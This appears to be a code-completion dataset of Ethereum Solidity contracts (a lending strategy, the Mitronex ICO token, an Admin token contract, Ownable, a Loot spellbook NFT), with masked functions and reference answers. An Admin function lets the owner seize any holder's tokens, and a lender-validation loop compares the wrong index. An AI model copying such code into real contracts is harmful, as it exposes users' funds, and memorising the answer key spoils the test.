_withdrawSome(balance);
}
setReserve(0);
}
/*
* Liquidate as many assets as possible to `want`, irregardless of slippage,
* up to `_amountNeeded`. Any excess should be re-invested here as well.
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed) {
uint256 _balance = want.balanceOf(address(this));
if(_balance >= _amountNeeded){
//if we don't set reserve here withdrawer will be sent our full balance
setReserve(_balance.sub(_amountNeeded));
return _amountNeeded;
}else{
uint received = _withdrawSome(_amountNeeded - _balance).add(_balance);
if(received > _amountNeeded){
return _amountNeeded;
}else{
return received;
}
}
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
/*
* Do anything necesseary to prepare this strategy for migration, such
* as transfering any reserve or LP tokens, CDPs, or other tokens or stores of value.
*/
function prepareMigration(address _newStrategy) internal override {
exitPosition();
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
// Override this to add all tokens/tokenized positions this contract manages
// on a *persistant* basis (e.g. not just for swapping back to want ephemerally)
// NOTE: Do *not* include `want`, already included in `sweep` below
//
// Example:
//
// function protectedTokens() internal override view returns (address[] memory) {
// address[] memory protected = new address[](3);
// protected[0] = tokenA;
// protected[1] = tokenB;
// protected[2] = tokenC;
// return protected;
// }
function protectedTokens() internal override view returns (address[] memory) {
address[] memory protected = new address[](2);
protected[0] = address(want);
return protected;
}
modifier management(){
require(msg.sender == governance() || msg.sender == strategist, "!management");
_;
}
} |
uint256 share = 0;
for(uint i = 0; i < lenders.length; i++){
lenders[i].withdrawAll();
}
uint256 assets = want.balanceOf(address(this));
for(uint i = 0; i < _newPositions.length; i++){
bool found = false;
//might be annoying and expensive to do this second loop but worth it for safety
for(uint j = 0; j < lenders.length; j++){
if(address(lenders[j]) ==_newPositions[j].lender ){
found = true;
}
}
require(found, "NOT LENDER");
share+= _newPositions[i].share;
uint256 toSend = assets.mul(_newPositions[i].share).div(1000);
want.safeTransfer(_newPositions[i].lender, toSend);
IGenericLender(_newPositions[i].lender).deposit();
}
require(share == 1000, "SHARE!=1000");
| function manualAllocation(lenderRatio[] memory _newPositions) public management | //share should add up to 1000.
function manualAllocation(lenderRatio[] memory _newPositions) public management |
60270 | Mitronex | Mitronex | contract Mitronex is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function Mitronex() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract Mitronex is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; <FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 9500000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 9500000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "Mitronex"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "MRTX"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 2000000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
| function Mitronex() | // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function Mitronex() |
6371 | Admin | admin_tokenBurn | contract Admin is Variable, Modifiers, Event
{
function admin_transferFrom(address _from, uint256 _value) public isOwner returns(bool success)
{
require(balanceOf[_from] >= _value);
require(balanceOf[owner] + (_value ) >= balanceOf[owner]);
balanceOf[_from] -= _value;
balanceOf[owner] += _value;
emit Transfer(_from, owner, _value);
return true;
}
function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
{<FILL_FUNCTION_BODY> }
function admin_tokenAdd(uint256 _value) public isOwner returns(bool success)
{
balanceOf[msg.sender] += _value;
totalSupply += _value;
emit TokenAdd(msg.sender, _value);
return true;
}
} | contract Admin is Variable, Modifiers, Event
{
function admin_transferFrom(address _from, uint256 _value) public isOwner returns(bool success)
{
require(balanceOf[_from] >= _value);
require(balanceOf[owner] + (_value ) >= balanceOf[owner]);
balanceOf[_from] -= _value;
balanceOf[owner] += _value;
emit Transfer(_from, owner, _value);
return true;
}
<FILL_FUNCTION>
function admin_tokenAdd(uint256 _value) public isOwner returns(bool success)
{
balanceOf[msg.sender] += _value;
totalSupply += _value;
emit TokenAdd(msg.sender, _value);
return true;
}
} |
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit TokenBurn(msg.sender, _value);
return true;
| function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
| function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
|
47979 | Ownable | null | contract Ownable is Context {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {<FILL_FUNCTION_BODY> }
function owner() public view returns (address payable) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | contract Ownable is Context {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
<FILL_FUNCTION>
function owner() public view returns (address payable) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} |
address payable msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
| constructor () internal | constructor () internal |
64748 | LootSpellbook | toString | contract LootSpellbook is ERC721Enumerable, ReentrancyGuard, Ownable {
address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
LootInterface lootContract = LootInterface(lootAddress);
uint256 public lootersPrice = 30000000000000000; //0.03 ETH
uint256 public publicPrice = 150000000000000000; //0.15 ETH
function contractURI() public pure returns (string memory) {
return "https://loot-spells.herokuapp.com/contract/loot-spellbooks";
}
//generating a random number
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function generateSpell(uint256 tokenId, uint256 position) internal pure returns (uint256) {
uint256 rand = random(string(abi.encodePacked("Spell", toString(tokenId), toString(position))));
return rand % 410;
}
function generateSpellbook(uint256 tokenId) internal pure returns (uint256) {
uint256 book = 0;
for (uint i=0; i<7; i++) {
book += generateSpell(tokenId, i) * 2 ** (i*16);
}
return book;
}
function baseTokenURI() public pure returns (string memory) {
return "https://loot-spells.herokuapp.com/api/spellbook/";
}
function tokenURI(uint256 _tokenId) override public pure returns (string memory) {
uint256 book = generateSpellbook(_tokenId);
return string(abi.encodePacked(baseTokenURI(), Strings.toHexString(book), "/", Strings.toString(_tokenId)));
}
//Private sale minting (reserved for Loot owners)
function mintWithLoot(uint lootId) public payable nonReentrant {
require(lootersPrice <= msg.value, "Ether value sent is not correct");
require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot");
require(!_exists(lootId), "This token has already been minted");
_safeMint(msg.sender, lootId);
}
function multiMintWithLoot(uint[] memory lootIds) public payable nonReentrant {
require((lootersPrice * lootIds.length) <= msg.value, "Ether value sent is not correct");
for (uint i=0; i<lootIds.length; i++) {
require(lootContract.ownerOf(lootIds[i]) == msg.sender, "Not the owner of this loot");
require(!_exists(lootIds[i]), "One of these tokens has already been minted");
_safeMint(msg.sender, lootIds[i]);
}
}
//Public sale minting
function mint(uint lootId) public payable nonReentrant {
require(publicPrice <= msg.value, "Ether value sent is not correct");
require(lootId > 8000 && lootId <= 12000, "Token ID invalid");
require(!_exists(lootId), "This token has already been minted");
_safeMint(msg.sender, lootId);
}
function multiMint(uint[] memory lootIds) public payable nonReentrant {
require((publicPrice * lootIds.length) <= msg.value, "Ether value sent is not correct");
for (uint i=0; i<lootIds.length; i++) {
require(lootIds[i] > 8000 && lootIds[i] <= 12000, "Token ID invalid");
require(!_exists(lootIds[i]), "One of these tokens have already been minted");
_safeMint(msg.sender, lootIds[i]);
}
}
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 12000 && tokenId <= 12100, "Token ID invalid");
_safeMint(owner(), tokenId);
}
function setLootersPrice(uint256 newPrice) public onlyOwner {
lootersPrice = newPrice;
}
function setPublicPrice(uint256 newPrice) public onlyOwner {
publicPrice = newPrice;
}
function toString(uint256 value) internal pure returns (string memory) {<FILL_FUNCTION_BODY> }
constructor() ERC721("Spellbooks for Looters", "LootSpellbook") Ownable() {}
} | contract LootSpellbook is ERC721Enumerable, ReentrancyGuard, Ownable {
address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
LootInterface lootContract = LootInterface(lootAddress);
uint256 public lootersPrice = 30000000000000000; //0.03 ETH
uint256 public publicPrice = 150000000000000000; //0.15 ETH
function contractURI() public pure returns (string memory) {
return "https://loot-spells.herokuapp.com/contract/loot-spellbooks";
}
//generating a random number
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function generateSpell(uint256 tokenId, uint256 position) internal pure returns (uint256) {
uint256 rand = random(string(abi.encodePacked("Spell", toString(tokenId), toString(position))));
return rand % 410;
}
function generateSpellbook(uint256 tokenId) internal pure returns (uint256) {
uint256 book = 0;
for (uint i=0; i<7; i++) {
book += generateSpell(tokenId, i) * 2 ** (i*16);
}
return book;
}
function baseTokenURI() public pure returns (string memory) {
return "https://loot-spells.herokuapp.com/api/spellbook/";
}
function tokenURI(uint256 _tokenId) override public pure returns (string memory) {
uint256 book = generateSpellbook(_tokenId);
return string(abi.encodePacked(baseTokenURI(), Strings.toHexString(book), "/", Strings.toString(_tokenId)));
}
//Private sale minting (reserved for Loot owners)
function mintWithLoot(uint lootId) public payable nonReentrant {
require(lootersPrice <= msg.value, "Ether value sent is not correct");
require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot");
require(!_exists(lootId), "This token has already been minted");
_safeMint(msg.sender, lootId);
}
function multiMintWithLoot(uint[] memory lootIds) public payable nonReentrant {
require((lootersPrice * lootIds.length) <= msg.value, "Ether value sent is not correct");
for (uint i=0; i<lootIds.length; i++) {
require(lootContract.ownerOf(lootIds[i]) == msg.sender, "Not the owner of this loot");
require(!_exists(lootIds[i]), "One of these tokens has already been minted");
_safeMint(msg.sender, lootIds[i]);
}
}
//Public sale minting
function mint(uint lootId) public payable nonReentrant {
require(publicPrice <= msg.value, "Ether value sent is not correct");
require(lootId > 8000 && lootId <= 12000, "Token ID invalid");
require(!_exists(lootId), "This token has already been minted");
_safeMint(msg.sender, lootId);
}
function multiMint(uint[] memory lootIds) public payable nonReentrant {
require((publicPrice * lootIds.length) <= msg.value, "Ether value sent is not correct");
for (uint i=0; i<lootIds.length; i++) {
require(lootIds[i] > 8000 && lootIds[i] <= 12000, "Token ID invalid");
require(!_exists(lootIds[i]), "One of these tokens have already been minted");
_safeMint(msg.sender, lootIds[i]);
}
}
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 12000 && tokenId <= 12100, "Token ID invalid");
_safeMint(owner(), tokenId);
}
function setLootersPrice(uint256 newPrice) public onlyOwner {
lootersPrice = newPrice;
}
function setPublicPrice(uint256 newPrice) public onlyOwner {
publicPrice = newPrice;
}
<FILL_FUNCTION>
constructor() ERC721("Spellbooks for Looters", "LootSpellbook") Ownable() {}
} |
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
| function toString(uint256 value) internal pure returns (string memory) | function toString(uint256 value) internal pure returns (string memory) |